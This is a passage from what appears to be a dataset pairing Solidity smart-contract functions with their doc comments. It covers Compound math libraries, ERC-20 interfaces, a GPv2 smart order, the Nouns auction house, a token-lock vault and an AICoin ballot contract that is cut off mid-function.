doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract ExponentialNoError { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } }
Reduces reserves by transferring to admin Requires fresh interest accrual reduceAmount Amount of reduction to reserves return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/ totalReserves - reduceAmount Check caller is admin We fail gracefully unless market's block number equals current block number Fail gracefully if protocol has insufficient underlying cash Check reduceAmount ≤ reserves[n] (totalReserves)
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { uint totalReservesNew; if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } totalReservesNew = totalReserves - reduceAmount; emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); }
17,752
./full_match/1/0xCbb07CB17f3EF0A10fA881C5E961A29d8367DA37/sources/contracts/words_final.sol
Get the current token count return the created token count
function tokenCount() public view returns (uint256) { return _tokenCount.current(); }
4,857,678
// SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.7.6; pragma abicoder v2; import "../interfaces/GPv2EIP1271.sol"; import "../interfaces/IERC20.sol"; import "../libraries/GPv2Order.sol"; import "../libraries/GPv2SafeERC20.sol"; import "../libraries/SafeMath.sol"; import "../GPv2Settlement.sol"; /// @title Proof of Concept Smart Order /// @author Gnosis Developers contract SmartSellOrder is EIP1271Verifier { using GPv2Order for GPv2Order.Data; using GPv2SafeERC20 for IERC20; using SafeMath for uint256; bytes32 public constant APPDATA = keccak256("SmartSellOrder"); address public immutable owner; bytes32 public immutable domainSeparator; IERC20 public immutable sellToken; IERC20 public immutable buyToken; uint256 public immutable totalSellAmount; uint256 public immutable totalFeeAmount; uint32 public immutable validTo; constructor( GPv2Settlement settlement, IERC20 sellToken_, IERC20 buyToken_, uint32 validTo_, uint256 totalSellAmount_, uint256 totalFeeAmount_ ) { owner = msg.sender; domainSeparator = settlement.domainSeparator(); sellToken = sellToken_; buyToken = buyToken_; validTo = validTo_; totalSellAmount = totalSellAmount_; totalFeeAmount = totalFeeAmount_; sellToken_.approve( address(settlement.vaultRelayer()), type(uint256).max ); } modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; } function withdraw(uint256 amount) external onlyOwner { sellToken.safeTransfer(owner, amount); } function close() external onlyOwner { uint256 balance = sellToken.balanceOf(address(this)); if (balance != 0) { sellToken.safeTransfer(owner, balance); } selfdestruct(payable(owner)); } function isValidSignature(bytes32 hash, bytes memory signature) external view override returns (bytes4 magicValue) { uint256 sellAmount = abi.decode(signature, (uint256)); GPv2Order.Data memory order = orderForSellAmount(sellAmount); if (order.hash(domainSeparator) == hash) { magicValue = GPv2EIP1271.MAGICVALUE; } } function orderForSellAmount(uint256 sellAmount) public view returns (GPv2Order.Data memory order) { order.sellToken = sellToken; order.buyToken = buyToken; order.receiver = owner; order.sellAmount = sellAmount; order.buyAmount = buyAmountForSellAmount(sellAmount); order.validTo = validTo; order.appData = APPDATA; order.feeAmount = totalFeeAmount.mul(sellAmount).div(totalSellAmount); order.kind = GPv2Order.KIND_SELL; // NOTE: We counter-intuitively set `partiallyFillable` to `false`, even // if the smart order as a whole acts like a partially fillable order. // This is done since, once a settlement commits to a specific sell // amount, then it is expected to use it completely and not partially. order.partiallyFillable = false; order.sellTokenBalance = GPv2Order.BALANCE_ERC20; order.buyTokenBalance = GPv2Order.BALANCE_ERC20; } function buyAmountForSellAmount(uint256 sellAmount) private view returns (uint256 buyAmount) { uint256 feeAdjustedBalance = sellToken .balanceOf(address(this)) .mul(totalSellAmount) .div(totalSellAmount.add(totalFeeAmount)); uint256 soldAmount = totalSellAmount > feeAdjustedBalance ? totalSellAmount - feeAdjustedBalance : 0; // NOTE: This is currently a silly price strategy where the xrate // increases linearly from 1:1 to 1:2 as the smart order gets filled. // This can be extended to more complex "price curves". buyAmount = sellAmount .mul(totalSellAmount.add(sellAmount).add(soldAmount)) .div(totalSellAmount); } }
NOTE: This is currently a silly price strategy where the xrate increases linearly from 1:1 to 1:2 as the smart order gets filled. This can be extended to more complex "price curves".
function buyAmountForSellAmount(uint256 sellAmount) private view returns (uint256 buyAmount) { uint256 feeAdjustedBalance = sellToken .balanceOf(address(this)) .mul(totalSellAmount) .div(totalSellAmount.add(totalFeeAmount)); uint256 soldAmount = totalSellAmount > feeAdjustedBalance ? totalSellAmount - feeAdjustedBalance : 0; buyAmount = sellAmount .mul(totalSellAmount.add(sellAmount).add(soldAmount)) .div(totalSellAmount); }
12,910,597
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.13; /// @title The Nouns DAO auction house /********************************* * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░██░░░████░░██░░░████░░░ * * ░░██████░░░████████░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░██░░██░░░████░░██░░░████░░░ * * ░░░░░░█████████░░█████████░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * * ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ * *********************************/ // LICENSE // NounsAuctionHouse.sol is a modified version of Zora's AuctionHouse.sol: // https://github.com/ourzora/auction-house/blob/54a12ec1a6cf562e49f0a4917990474b11350a2d/contracts/AuctionHouse.sol // // AuctionHouse.sol source code Copyright Zora licensed under the GPL-3.0 license. // With modifications by Nounders DAO. import { PausableUpgradeable } from "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { INounsAuctionHouse } from "./interfaces/INounsAuctionHouse.sol"; import { INounsToken } from "./interfaces/INounsToken.sol"; import { IWETH } from "./interfaces/IWETH.sol"; contract NounsAuctionHouse is INounsAuctionHouse, PausableUpgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable { // The Nouns ERC721 token contract INounsToken public nouns; // The address of the WETH contract address public weth; // The minimum amount of time left in an auction after a new bid is created uint256 public timeBuffer; // The minimum price accepted in an auction uint256 public reservePrice; // The minimum percentage difference between the last bid amount and the current bid uint8 public minBidIncrementPercentage; // The duration of a single auction uint256 public duration; // The active auction INounsAuctionHouse.Auction public auction; /** * @notice Initialize the auction house and base contracts, * populate configuration values, and pause the contract. * @dev This function can only be called once. */ function initialize( INounsToken _nouns, address _weth, uint256 _timeBuffer, uint256 _reservePrice, uint8 _minBidIncrementPercentage, uint256 _duration ) external initializer { __Pausable_init(); __ReentrancyGuard_init(); __Ownable_init(); _pause(); nouns = _nouns; weth = _weth; timeBuffer = _timeBuffer; reservePrice = _reservePrice; minBidIncrementPercentage = _minBidIncrementPercentage; duration = _duration; } /** * @notice Settle the current auction, mint a new Noun, and put it up for auction. */ function settleCurrentAndCreateNewAuction() external override nonReentrant whenNotPaused { _settleAuction(); _createAuction(); } /** * @notice Settle the current auction. * @dev This function can only be called when the contract is paused. */ function settleAuction() external override whenPaused nonReentrant { _settleAuction(); } /** * @notice Create a bid for a Noun, with a given amount. * @dev This contract only accepts payment in ETH. */ function createBid(uint256 nounId) external payable override nonReentrant { INounsAuctionHouse.Auction memory _auction = auction; require(_auction.nounId == nounId, "Noun not up for auction"); require(block.timestamp < _auction.endTime, "Auction expired"); require(msg.value >= reservePrice, "Must send at least reservePrice"); require( msg.value >= _auction.amount + ((_auction.amount * minBidIncrementPercentage) / 100), "Must send more than last bid by minBidIncrementPercentage amount" ); address payable lastBidder = _auction.bidder; // Refund the last bidder, if applicable if (lastBidder != address(0)) { _safeTransferETHWithFallback(lastBidder, _auction.amount); } auction.amount = msg.value; auction.bidder = payable(msg.sender); // Extend the auction if the bid was received within `timeBuffer` of the auction end time bool extended = _auction.endTime - block.timestamp < timeBuffer; if (extended) { auction.endTime = _auction.endTime = block.timestamp + timeBuffer; } emit AuctionBid(_auction.nounId, msg.sender, msg.value, extended); if (extended) { emit AuctionExtended(_auction.nounId, _auction.endTime); } } /** * @notice Pause the Nouns auction house. * @dev This function can only be called by the owner when the * contract is unpaused. While no new auctions can be started when paused, * anyone can settle an ongoing auction. */ function pause() external override onlyOwner { _pause(); } /** * @notice Unpause the Nouns auction house. * @dev This function can only be called by the owner when the * contract is paused. If required, this function will start a new auction. */ function unpause() external override onlyOwner { _unpause(); if (auction.startTime == 0 || auction.settled) { _createAuction(); } } /** * @notice Set the auction time buffer. * @dev Only callable by the owner. */ function setTimeBuffer(uint256 _timeBuffer) external override onlyOwner { timeBuffer = _timeBuffer; emit AuctionTimeBufferUpdated(_timeBuffer); } /** * @notice Set the auction reserve price. * @dev Only callable by the owner. */ function setReservePrice(uint256 _reservePrice) external override onlyOwner { reservePrice = _reservePrice; emit AuctionReservePriceUpdated(_reservePrice); } /** * @notice Set the auction minimum bid increment percentage. * @dev Only callable by the owner. */ function setMinBidIncrementPercentage(uint8 _minBidIncrementPercentage) external override onlyOwner { minBidIncrementPercentage = _minBidIncrementPercentage; emit AuctionMinBidIncrementPercentageUpdated(_minBidIncrementPercentage); } /** * @notice Create an auction. * @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event. * If the mint reverts, the minter was updated without pausing this contract first. To remedy this, * catch the revert and pause this contract. */ function _createAuction() internal { try nouns.mint() returns (uint256 nounId) { uint256 startTime = block.timestamp; uint256 endTime = startTime + duration; auction = Auction({ nounId: nounId, amount: 0, startTime: startTime, endTime: endTime, bidder: payable(0), settled: false }); emit AuctionCreated(nounId, startTime, endTime); } catch Error(string memory) { _pause(); } } /** * @notice Settle an auction, finalizing the bid and paying out to the owner. * @dev If there are no bids, the Noun is burned. */ function _settleAuction() internal { INounsAuctionHouse.Auction memory _auction = auction; require(_auction.startTime != 0, "Auction hasn't begun"); require(!_auction.settled, "Auction has already been settled"); require(block.timestamp >= _auction.endTime, "Auction hasn't completed"); auction.settled = true; if (_auction.bidder == address(0)) { nouns.burn(_auction.nounId); } else { nouns.transferFrom(address(this), _auction.bidder, _auction.nounId); } if (_auction.amount > 0) { _safeTransferETHWithFallback(owner(), _auction.amount); } emit AuctionSettled(_auction.nounId, _auction.bidder, _auction.amount); } /** * @notice Transfer ETH. If the ETH transfer fails, wrap the ETH and try send it as WETH. */ function _safeTransferETHWithFallback(address to, uint256 amount) internal { if (!_safeTransferETH(to, amount)) { IWETH(weth).deposit{ value: amount }(); IERC20(weth).transfer(to, amount); } } /** * @notice Transfer ETH and return the success status. * @dev This function only forwards 30,000 gas to the callee. */ function _safeTransferETH(address to, uint256 value) internal returns (bool) { (bool success, ) = to.call{ value: value, gas: 30_000 }(new bytes(0)); return success; } }
Set the auction time buffer. Only callable by the owner./
function setTimeBuffer(uint256 _timeBuffer) external override onlyOwner { timeBuffer = _timeBuffer; emit AuctionTimeBufferUpdated(_timeBuffer); }
13,112,419
// SPDX-License-Identifier: UNLICENSED //MARBILOCK //MN GETS REFLECTIONS IN HIS VAULT WHICH HAS BEEN LOCKED FOR 10 YEARS pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LUCKYSVAULT { uint public end; address payable public owner; address payable public pendingOwner; uint public duration = 3650 days; constructor(address payable _owner) { owner = _owner; end = block.timestamp + duration; } function deposit(address token, uint amount) external { IERC20(token).transferFrom(msg.sender, address(this), amount); } function timeLeft() public view returns (uint) { if (end > block.timestamp) { return end - block.timestamp; } else { return 0; } } /** * @notice Allows owner to change ownership * @param _owner new owner address to set */ function setOwner(address payable _owner) external { require(msg.sender == owner, "owner: !owner"); pendingOwner = _owner; } /** * @notice Allows pendingOwner to accept their role as owner (protection pattern) */ function acceptOwnership() external { require(msg.sender == pendingOwner, "acceptOwnership: !pendingOwner"); owner = pendingOwner; } function ExtendLockTime(uint locktime) public { require(msg.sender == owner, "only owner"); end += locktime; } function getOwner() public view returns (address) { return owner; } function getEthBalance() view public returns (uint) { return address(this).balance; } function getTokenBalance(address tokenaddr) view public returns (uint) { return IERC20(tokenaddr).balanceOf(address(this)); } receive() external payable {} function withdraw(address token, uint amount) external { require(msg.sender == owner, "only owner"); require(block.timestamp >= end, "too early"); if(token == address(0)) { owner.transfer(amount); } else { IERC20(token).transfer(owner, amount); } } }
Allows owner to change ownership _owner new owner address to set/
function setOwner(address payable _owner) external { require(msg.sender == owner, "owner: !owner"); pendingOwner = _owner; }
1,545,434
pragma solidity ^0.4.11; /******************************************************************************* * ERC Token Standard #20 Interface * https://github.com/ethereum/EIPs/issues/20 *******************************************************************************/ contract ERC20Interface { // Get the total token supply function totalSupply() constant returns (uint256 totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) returns (bool success); // Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) returns (bool success); // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. // this function is required for some DEX functionality. function approve(address _spender, uint256 _value) returns (bool success); // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /******************************************************************************* * AICoin - Smart Contract with token and ballot handling *******************************************************************************/ contract AICoin is ERC20Interface { /* ****************************** * COIN data / functions * ******************************/ /* Token constants */ string public constant name = 'AICoin'; string public constant symbol = 'XAI'; uint8 public constant decimals = 8; string public constant smallestUnit = 'Hofstadter'; /* Token internal data */ address m_administrator; uint256 m_totalSupply; /* Current balances for each account */ mapping(address => uint256) balances; /* Account holder approves the transfer of an amount to another account */ mapping(address => mapping (address => uint256)) allowed; /* One-time create function: initialize the supply and set the admin address */ function AICoin (uint256 _initialSupply) { m_administrator = msg.sender; m_totalSupply = _initialSupply; balances[msg.sender] = _initialSupply; } /* Get the admin address */ function administrator() constant returns (address adminAddress) { return m_administrator; } /* Get the total coin supply */ function totalSupply() constant returns (uint256 totalSupply) { return m_totalSupply; } /* Get the balance of a specific account by its address */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /* Transfer an amount from the owner's account to an indicated account */ function transfer(address _to, uint256 _amount) returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && (! accountHasCurrentVote(msg.sender))) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } /* Send _value amount of tokens from address _from to address _to * The transferFrom method is used for a withdraw workflow, allowing contracts to send * tokens on your behalf, for example to "deposit" to a contract address and/or to charge * fees in sub-currencies; the command should fail unless the _from account has * deliberately authorized the sender of the message via some mechanism; we propose * these standardized APIs for approval: */ function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && (! accountHasCurrentVote(_from))) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } /* Pre-authorize an address to withdraw from your account, up to the _value amount. * Doing so (using transferFrom) reduces the remaining authorized amount, * as well as the actual account balance) * Subsequent calls to this function overwrite any existing authorized amount. * Therefore, to cancel an authorization, simply write a zero amount. */ function approve(address _spender, uint256 _amount) returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /* Get the currently authorized that can be withdrawn by account _spender from account _owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* ****************************** * BALLOT data / functions * ******************************/ /* Dev Note: creating a struct that contained a string, uint values and * an array of option structs, etc, would consistently fail. * So the ballot details are held in separate mappings with a common integer * key for each ballot. The IDs are 1-indexed, sequential and contiguous. */ /* Basic ballot details: time frame and number of options */ struct BallotDetails { uint256 start; uint256 end; uint32 numOptions; // 1-indexed for readability bool sealed; } uint32 public numBallots = 0; // 1-indexed for readability mapping (uint32 => string) public ballotNames; mapping (uint32 => BallotDetails) public ballotDetails; mapping (uint32 => mapping (uint32 => string) ) public ballotOptions; /* Create a new ballot and set the basic details (proposal description, dates) * The ballot still need to have options added and then to be sealed */ function adminAddBallot(string _proposal, uint256 _start, uint256 _end) { /* Admin functions must be called by the contract creator. */ require(msg.sender == m_administrator); /* Create and store the new ballot objects */ numBallots++; uint32 ballotId = numBallots; ballotNames[ballotId] = _proposal; ballotDetails[ballotId] = BallotDetails(_start, _end, 0, false); } /* Create a new ballot and set the basic details (proposal description, dates) * The ballot still need to have options added and then to be sealed */ function adminAmendBallot(uint32 _ballotId, string _proposal, uint256 _start, uint256 _end) { /* Admin functions must be called by the contract creator. */ require(msg.sender == m_administrator); /* verify that the ballot exists */ require(_ballotId > 0 && _ballotId <= numBallots); /* update the ballot object */ ballotNames[_ballotId] = _proposal; ballotDetails[_ballotId].start = _start; ballotDetails[_ballotId].end = _end; } /* Add an option to an existing Ballot */ function adminAddBallotOption(uint32 _ballotId, string _option) { /* Admin functions must be called by the contract creator. */ require(msg.sender == m_administrator); /* verify that the ballot exists */ require(_ballotId > 0 && _ballotId <= numBallots); /* cannot change a ballot once it is sealed */ if(isBallotSealed(_ballotId)) { revert(); } /* store the new ballot option */ ballotDetails[_ballotId].numOptions += 1; uint32 optionId = ballotDetails[_ballotId].numOptions; ballotOptions[_ballotId][optionId] = _option; } /* Amend and option in an existing Ballot */ function adminEditBallotOption(uint32 